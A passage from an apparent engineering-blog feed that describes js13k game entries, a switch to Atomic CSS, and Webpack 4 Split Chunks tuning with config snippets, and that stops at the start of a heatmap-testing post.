4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://js13kgames.com/entries/antivirus">Anti_Virus</a></h3> Author: <a href="https://twitter.com/PunitGu22548112">Punit Gupta</a> This game is inspired by a classic game 'Snow Bros' but with a very different flavor. We all use various offline storage devices to save our precious data. But inevitably, sometimes the data gets corrupted due to viruses. The goal here is to go into those devices, kill those viruses and save the data. The gameplay involves moving around, climbing the platforms, freezing the opponents and throwing them over other enemies. <div style="text-align:center;"> <img src="/images/2018/09/js13k_anti_virus.gif" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> Some of the major challenges involved with this idea are: <ul> <li>Detecting collisions among platforms, walls, opponents, shooters and player.</li> <li>Randomizing enemy movements.</li> <li>Animating when player or enemies are killed.</li> </ul> The physics &#x26; special effects being the most fun part of the implementation, squeezing all these things into the required size &#x26; keeping the gameplay smooth also involved quite a lot of optimizations &#x26; polishing. <a href="https://js13kgames.com/games/antivirus/index.html">demo</a> | <a href="https://github.com/pntgupta/anti-virus">source</a> <h2 id="sum-it-up" style="position:relative;"><a href="#sum-it-up" aria-label="sum it up permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://js13kgames.com/entries/sum-it-up">Sum It Up</a></h2> Author: <a href="https://twitter.com/hemkaranraghav">Hemkaran Raghav</a> This game is inspired by one of the most popular games of all time, ‘Spider Solitaire’. In this one, you don’t have to stack the cards in increasing order. Instead, numbers are written on these cards and you have to stack identical cards over each other causing them to merge into a new card with double value. Your goal is to create the highest score possible. <div style="text-align:center;"> <img src="/images/2018/09/js13k_sum_it_up.gif" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> The most fun parts of this implementation were creating smooth &#x26; beautiful animations. <a href="https://js13kgames.com/games/sum-it-up/index.html">demo</a> | <a href="https://github.com/hemkaran/sum-it-up-game">source</a> <h3 id="up--down" style="position:relative;"><a href="#up--down" aria-label="up down permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://js13kgames.com/entries/up-down">Up &#x26; Down</a></h3> Author: <a href="https://twitter.com/dinkarpundir">Dinkar Pundir</a> Inspired by <a href="https://en.wikipedia.org/wiki/VVVVVV">vvvvvv</a>, this game is based on playing with gravity. Apart from the ability to move left/right, you can toggle the direction of the pull. On the click of a button, this direction can be flipped upside-down. This basic idea when combined with adding obstacles in creative ways can lead to plenty of possibilities for a platformer. <div style="text-align:center;"> <img src="/images/2018/09/js13k_up&amp;down.gif" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> This involved problems like: <ul> <li>Implementing smooth discrete integration that provides a nice balanced difficulty</li> <li>Collision detection that properly counters changing gravity</li> <li>Creating a well-structured design to allow for easy extensions to stage definitions</li> </ul> Although created in a very short amount of time, not only were these things fun to solve, these simple problems lead the way towards a wide variety of techniques related to mathematical ideas &#x26; design principles in general. <a href="https://js13kgames.com/games/up-down/index.html">demo</a> | <a href="https://github.com/dinkar/up-and-down-js13k-2018">source</a> <h3 id="robo-galactic-shooter" style="position:relative;"><a href="#robo-galactic-shooter" aria-label="robo galactic shooter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://js13kgames.com/entries/robo-galactic-shooter">Robo Galactic Shooter</a></h3> Author: <a href="https://twitter.com/CreativeBakchod">Ashish Bardhan</a> The idea for this entry was to create a classic 2D Shoot'em up style &#x26; nostalgic retro feel. You need to survive a barrage of asteroids for as long as possible. The good thing is that you're given some solid guns! The robot is flying towards the right into the coming asteroids of different sizes &#x26; velocities. The gameplay involves either dodging them or shooting them till they disintegrate. <div style="text-align:center;"> <img src="/images/2018/09/js13k_robo_galactic_shooter.gif" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> Plenty of effort went into the following parts: <ul> <li>Creating cool background effects, handling sprites</li> <li>Integrating sound effects</li> <li>Boundless level generation</li> </ul> Considering how many effects &#x26; elements were integrated, a lot of optimizations were required to fit it all in 13KB. The game also incorporated sound effects using a micro-library called jsfxr. <a href="https://js13kgames.com/games/robo-galactic-shooter/index.html">demo</a> | <a href="https://github.com/AshBardhan/robo-galactic-shooter">source</a> <h2 id="what-we-learned" style="position:relative;"><a href="#what-we-learned" aria-label="what we learned permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What we Learned</h2> A lot of what we learned came from implementing animations, physics, collision detections etc. It's nice to see how ideas from geometry &#x26; basic numerical integration techniques come together to make a functional game. It's also worth mentioning that given how complex the implementations of these simple concepts tend to become, an understanding of software design principles is not only a requirement while building these things, but also grows really well with such an experience. Most of the integrated effects &#x26; animations we had to create on our own. Some of our games also involved a degree of focus on keeping the algorithms fast, for example, by managing object lifecycles to keep the computations limited to only visible entities, by using clever little hacks to avoid redundant computations while rendering etc. In the instances where third party libraries were used, we had to make sure they introduced very little overhead. 2 of the listed games leveraged <a href="https://github.com/straker/kontra">Kontra.js</a>, a micro-library to get up &#x26; running quickly without introducing any significant impact to build size. Kontra.js provides nice features such as sprite management &#x26; out of the box collision detection etc. Galactic Shooter also used a slightly altered version of <a href="https://github.com/mneubrand/jsfxr">jsfxr</a>, a lightweight sound generation library. For the build process, almost all of us followed a different path. In small games, <a href="https://webpack.js.org/">Webpack</a> was suitable for bundling the source. For some larger ones, we wanted to avoid even the tiniest of the overhead introduced by Webpack. Therefore, we used simple <a href="https://gruntjs.com/">Grunt</a> / <a href="https://gulpjs.com/">Gulp</a> tasks to concatenate &#x26; minify files. In some cases, we even avoided using <a href="https://developers.google.com/closure/compiler/">Closure Compiler</a>, as arrow functions &#x26; classes result in much more concise code. Apart from these, we experimented with various compression tools &#x26; techniques for fitting all those JS/HTML/CSS/PNG files in 13K size limit. But one way or another, we managed to make it for all of the entries. <h2 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> Participation in this event did require committing a significant amount of personal time to it but proved to be an amazing experience not only in terms of what we learned from it but also in how much fun we had while implementing these concepts. After all, game development is as fun as it gets when it comes to programming - creating a tiny universe of your own, the laws of physics are what you want them to be, things evolve how you tell them to. And we certainly managed to pick up some nice ideas along the way. We would love to hear your feedback or answer any queries you might have, feel free to drop a comment or tweet us at <a href="https://twitter.com/wingify_engg">@wingify_engg</a>. <h3 id="game-on" style="position:relative;"><a href="#game-on" aria-label="game on permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Game on!</h3></content:encoded><author>Aditya Mishra, Punit Gupta</author></item><item><title><![CDATA[Shift to Atomic CSS]]></title><description><![CDATA[For the past few months, we at Wingify, have been working on making a common platform for different products - so that things get reused…]]></description><link>https://engineering.wingify.com//posts/shift-to-atomic-css/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/shift-to-atomic-css/</guid><pubDate>Fri, 31 Aug 2018 00:00:00 GMT</pubDate><content:encoded>For the past few months, we at Wingify, have been working on making a common platform for different products - so that things get reused across products and re-inventing the wheel doesn't happen. This also has additional benefits like enforcing common good practices across products, easier switching for developer across products and more. As part of the same endeavor, our Frontend team has been working hard on a Design System and a frontend boilerplate app over that. The boilerplate is something which any product at Wingify can simply fork and build a new frontend app, using the reusable components provided by the base Design System. More about the boilerplate and Design System later, but in this post want to specifically talk about a very import part of our Design System - our CSS. <h2 id="issues-with-current-css" style="position:relative;"><a href="#issues-with-current-css" aria-label="issues with current css permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Issues with current CSS</h2> First, why did we even start looking for a new way to write CSS? Previously, we were using a mix of <a href="http://getbem.com/introduction/">BEM</a> and some helper classes. Occasional classes which belonged to neither of those two categories could be seen in the code base too! 😅 This approach led to the following issues: <ul> <li>Naming classes was always a problem - Often, someone was commenting the pull requests that this class name doesn't make sense and should be changed to something more "meaningful". Finding "meaningful" names is tough!</li> <li>Unused CSS - Automated tools to detect unused CSS are not very reliable, especially with Single Page Apps. Our CSS kept growing over time and definitely one main reason for that was no one ever cared to remove the unused CSS.</li> <li>Refactoring - With usual classes, it becomes difficult to refactor with confidence. Because the developer cannot be very sure about the class that they are renaming or removing getting used elsewhere which they are not aware of.</li> </ul> I have also blogged about these issues in detail in <a href="https://medium.freecodecamp.org/acss-a-dynamic-atomic-css-library-402dff9756e0">an article here</a>. <h2 id="evaluating-other-approaches" style="position:relative;"><a href="#evaluating-other-approaches" aria-label="evaluating other approaches permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Evaluating other approaches</h2> Much before starting this mission, we started evaluating various frameworks for writing CSS. Our evaluation was based on following parameters: <ul> <li>Final output file size</li> <li>Rate of growth of file size over time</li> <li>Unused CSS handling</li> <li>Ease of learning for a new developer</li> <li>Ease of maintenance</li> <li>Documentation (existing or requirement to create one internally)</li> <li>Lintable</li> <li>Themable</li> <li>Ease of refactoring</li> <li>Naming effort involved</li> <li>Critical CSS generation</li> </ul> Yeah, lots of parameters. We evaluated very critically 😀. Also, notice that I have kept the end-user performance related parameters on top as that's what mattered most to us. <h2 id="the-winner---acss" style="position:relative;"><a href="#the-winner---acss" aria-label="the winner acss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The winner - ACSS</h2> We evaluated lots of known frameworks and libraries out there like pure BEM, Tachyons, Styled Components, Vue's scoped CSS, CSS modules. But We found that atomic CSS approach met most of our requirements as mentioned above. Also known as helper/utility classes approach, Atomic CSS requires no naming, documentation would be available if we go with a well-known library, its themable, lintable. Refactoring is also easier as all you need to do is remove classes from your HTML and never touch CSS. But even in various atomic CSS libraries available out there, we decided to go with <a href="https://acss.io/">ACSS</a>(I know, the name is little too generic as they call themselves Atomic CSS!). We got introduced to ACSS by our resident UX engineer, <a href="https://twitter.com/jitendravyas">Jitendra Vyas</a>. Along with him, we discussed a lot of points about ACSS with one of the developers of ACSS, <a href="https://github.com/thierryk">Thierry Koblentz</a>. ACSS was also mentioned by <a href="https://twitter.com/roderickhsiao/status/922620291527852032">Addy Osmani at Google IO</a>. ACSS comes with very strong benefits which no other library had. You don't write CSS in ACSS, in fact you don't even download a CSS file and use in ACSS. ACSS comes with a tool called <a href="https://github.com/acss-io/atomizer">Atomizer</a> which detects the use of ACSS classes in your HTML (or any file) and generates the corresponding CSS for those detected classes. Here is a sample HTML you would write with ACSS: <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html">&lt;button class="Bgc(blue) C(white) P(10px) D(ib) Cur(p) Bgc(red):h"> I am a button &lt;/button></code></pre></div> On top of usual benefits of Atomic CSS approach, ACSS's automatic CSS generation means that we never get a single byte of CSS that we are not using in an app! What we use in HTML, lands in the final CSS file. In fact, ACSS generates such small CSS that it's practically possible to inline your complete CSS - i.e. your complete CSS can become your critical CSS! We were free from documentation as the only thing a developer needs to write ACSS is their <a href="https://acss.io/reference">awesome, searchable reference</a>. There is also a <a href="https://github.com/acss-io/vscode-atomizer">VSCode extension</a> which even removes the need for the reference. We were free from naming things of course. It may seem that a developer might have to write same set of classes repeatedly to create the same things, but that is not true. ACSS or any Atomic CSS approach requires a templating/component system where you can reuse a piece of HTML without duplicating. We use Vue.js to build our small reusable components. Of course they are some cons in ACSS, as well. For example, inside a particular component's HTML, you cannot find what any tag is about because there are no descriptive classes. This can be somewhat be fixed by using semantic tags. Basically, the pros are way too strong over its cons. <h2 id="the-end-result" style="position:relative;"><a href="#the-end-result" aria-label="the end result permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The end result</h2> We just finished porting a decent size app to our new system and guess what, our CSS reduced from <code class="language-text">90 KB</code> to just <code class="language-text">8 KB</code>! 😱 That is all for this post! I encourage you to go and try out <a href="https://acss.io/">ACSS</a> with an open mind and see if it solves your current CSS problem if any. We are happy to answer any questions you might have on our new approach, Design System etc. Do comment on this post or tweet them out to our twitter handle 👉🏼 <a href="https://twitter.com/wingify_engg">@wingify_engg</a>. Bbye!</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[Demystifying Webpack 4 Split Chunks Plugin]]></title><description><![CDATA[Recently, we migrated one of our web apps to the Webpack 4, which decreases build time and reduces chunk size by using Split Chunks plugin…]]></description><link>https://engineering.wingify.com//posts/demystifying-split-chunks-plugin/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/demystifying-split-chunks-plugin/</guid><pubDate>Fri, 10 Aug 2018 00:00:00 GMT</pubDate><content:encoded>Recently, we migrated one of our web apps to the Webpack 4, which decreases build time and reduces chunk size by using Split Chunks plugin. It automatically identifies modules which should be split by heuristics and splits the chunks. This blog post deals with our efforts in understanding the mysterious Split Chunks plugin. <h3 id="the-problem" style="position:relative;"><a href="#the-problem" aria-label="the problem permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Problem</h3> The problem we were facing with <a href="https://webpack.js.org/plugins/split-chunks-plugin/#optimization-splitchunks">default</a> Split Chunks config is that a module of large size 550 KB was duplicated in 4 async chunks. So, our goal was specifically to decrease the bundle size and utilize a better code splitting mechanism in the app. Our Webpack configuration file looks like this: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// Filename: webpack.config.js const webpack = require('webpack'); module.exports = { //... optimization: { splitChunks: { chunks: 'all' } } };</code></pre></div> We used <a href="https://github.com/webpack-contrib/webpack-bundle-analyzer">webpack-bundle-analyzer</a> to get a nice view of our problem. <img src="/images/2018/08/split-chunks-duplicated-view.png"> <h3 id="observation" style="position:relative;"><a href="#observation" aria-label="observation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Observation</h3> By default, Split Chunks plugin only affects on-demand chunks and it split chunks based on following <a href="https://webpack.js.org/plugins/split-chunks-plugin/#defaults">conditions</a>: <ol> <li>A new chunk should be shared or containing modules should be from the node_modules folder.</li> <li>New chunk should be bigger than 30 KB.</li> <li>Maximum number of parallel requests when loading chunks on demand should be lower or equal to 5.</li> <li>Maximum number of parallel requests at initial page load should be lower or equal to 3.</li> </ol> In our case, a separate chunk of the large-sized library would not be created. What's the reasoning behind this? It satisfies first and second conditions as it is being used in 4 chunks and its size (550 KB) is bigger than 30 KB so concludes that it should be in a new chunk. But it does not satisfy the third one as 5 chunks were already created at each dynamic import which is the maximum limit for async requests. We observed that the first 4 chunks include all modules which are shared among 7,6,5,5 async chunks respectively and the last one is its own chunk. Modules on which a maximum number of async chunks are dependent on have been given priority and as a library is required by only 4 async chunks, a chunk containing it would not be created. When we run <code class="language-text">yarn build</code> to build our assets, a chunk named vendors~async.chunk.1~async.chunk.2~async.chunk.3~async.chunk.4 is not found in the output: <img src="/images/2018/08/split-chunks-default-build-view-1.png"> <img src="/images/2018/08/split-chunks-default-build-view-2.png"> <h3 id="solutions" style="position:relative;"><a href="#solutions" aria-label="solutions permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solutions</h3> We can have more control over this functionality. We can change default configuration in either or combination of the following ways: <ol> <li> Increasing <a href="https://webpack.js.org/plugins/split-chunks-plugin/#splitchunks-maxasyncrequests">maxAsyncRequests</a> result in more chunks. A large number of requests degrades the performance but it's not a concern in HTTP/2 because of the <a href="https://developers.google.com/web/fundamentals/performance/http2/">request and response multiplexing</a>. So, this configuration should be preferred in case of HTTP/2 only. Now let’s take a look at Webpack configuration file after this change: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript"> // Filename: webpack.config.js const webpack = require('webpack'); module.exports = { //... optimization: { splitChunks: { chunks: 'all', maxAsyncRequests: 20 } } };</code></pre></div> </li> <li> Increasing <a href="https://webpack.js.org/plugins/split-chunks-plugin/#splitchunks-minsize">minSize</a> also gives the desired result. Some modules with higher usage in our app and size less than minSize would not be included in separate chunks as they all violate the second condition like in case of minSize 100 KB, modules greater than 100 KB are considered giving more possibilities for creating chunks containing large-sized modules. Now let’s take a look at Webpack configuration file after this change: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript"> // Filename: webpack.config.js const webpack = require('webpack'); module.exports = { //... optimization: { splitChunks: { chunks: 'all', minSize: 100000 } } };</code></pre></div> </li> </ol> <h3 id="experiment" style="position:relative;"><a href="#experiment" aria-label="experiment permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Experiment</h3> Steps: <ol> <li>We picked any two async chunks between which a large-sized third-party library (550 KB) is shared. Let's call these chunks as async.chunk.1 and async.chunk.2 and assume that chunk's name and corresponding route's name are same.</li> <li>Loaded async.chunk.1 route first and calculated the total content size loaded.</li> <li>Then navigated from async.chunk.1 route to async.chunk.2 route and calculated the content size again.</li> </ol> Results with first approach(varying the maxAsyncRequest property): <pre> | MaxAsyncRequests | async.chunk.1 | async.chunk.2 | |----------------------|----------------------------------|----------------------------| | 5 | 1521.6 KB | 758 KB | | 10 | 1523.76 KB | 79.1 KB | | 15 | 1524 KB | 79.1 KB | | 20 | 1524.3 KB | 79.1 KB | </pre> After this change our bundles look like this: <img src="/images/2018/08/split-chunks-maxAsyncRequests-view.png"> With this configuration, a separate chunk named vendors~async.chunk.1~async.chunk.2~async.chunk.3~async.chunk.4 is created which is shown below: <img src="/images/2018/08/split-chunks-maxAsyncRequests-build-view.png"> Results with second approach(varying the minSize property): <pre> | MinSize | async.chunk.1 | async.chunk.2 | |---------------------|----------------------------------|----------------------------| | 30 KB | 1521.6 KB | 758 KB | | 50 KB | 1521.6 KB | 188 KB | | 100 KB | 1521.4 KB | 78.4 KB | </pre> After this change our bundles look like this: <img src="/images/2018/08/split-chunks-minSize-view.png"> In this case too, a large-sized library is extracted into a separate chunk named vendors~async.chunk.1~async.chunk.2~async.chunk.3~async.chunk.4 which is shown below: <img src="/images/2018/08/split-chunks-minSize-build-view.png"> Note: async.chunk.2 chunk size in case of 50 KB minSize configuration is 188 KB whereas its size is reduced to 78.4 KB in case of 100 KB minSize configuration. This is because one more module of size 146 KB that are shared among four other chunks are extracted into a separate chunk decreasing overall bundle size to 78.4 KB (Awesome!). <h3 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h3> Increasing minSize and maxAsyncRequests both decreases the size of async.chunk.2 chunk. The second approach can result in multiple large-sized chunks, each one having multiple duplicated small-sized modules. On the other hand, the first approach will result in a large number of small chunks which do not have any duplicated module. Loading multiple small chunks increases the loading time of page but with HTTP/2, it will work efficiently. Finally, we achieved what we wanted, a big library is now separated from our bundles and lazy loaded on demand. Thanks to <a href="https://twitter.com/dinkarpundir">Dinkar Pundir</a> for helping me in solving the above problem. If you have any doubt feel free to drop a comment or tweet us at <a href="https://twitter.com/wingify_engg">@wingify_engg</a>. Happy Chunking... !!</content:encoded><author>Surbhi Mahajan</author></item><item><title><![CDATA[Automated Heatmap Verification E2E using Selenium and Canvas]]></title><description><![CDATA[Heatmaps record visitor clicks on the live state of your website, which can be used to interpret user behavior on elements like modal boxes…]]></description><link>https://engineering.wingify.com//posts/automated-heatmap-verification/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/automated-heatmap-verification/</guid><pubDate>Tue, 03 Apr 2018 00:00:00 GMT</pubDate><content:encoded>Heatmaps record visitor clicks on the live state of your website, which can be used to interpret user behavior on elements like modal boxes, pages behind logins, and dynamic URLs. <div style="text-align:center; margin: 10px;"> <img src="/images/2018/04/heatmap.png" style="box-shadow: 2px 2px 10px 1px #aaa"> <div style="margin: 10px;">VWO Heatmap in action on vwo.com</div> </div> But here comes a question, how to verify Heatmap E2E using automation? How to check if clicks are being plotted correctly? How to check if there is no data loss while plotting the clicks? The answer to above questions is <a 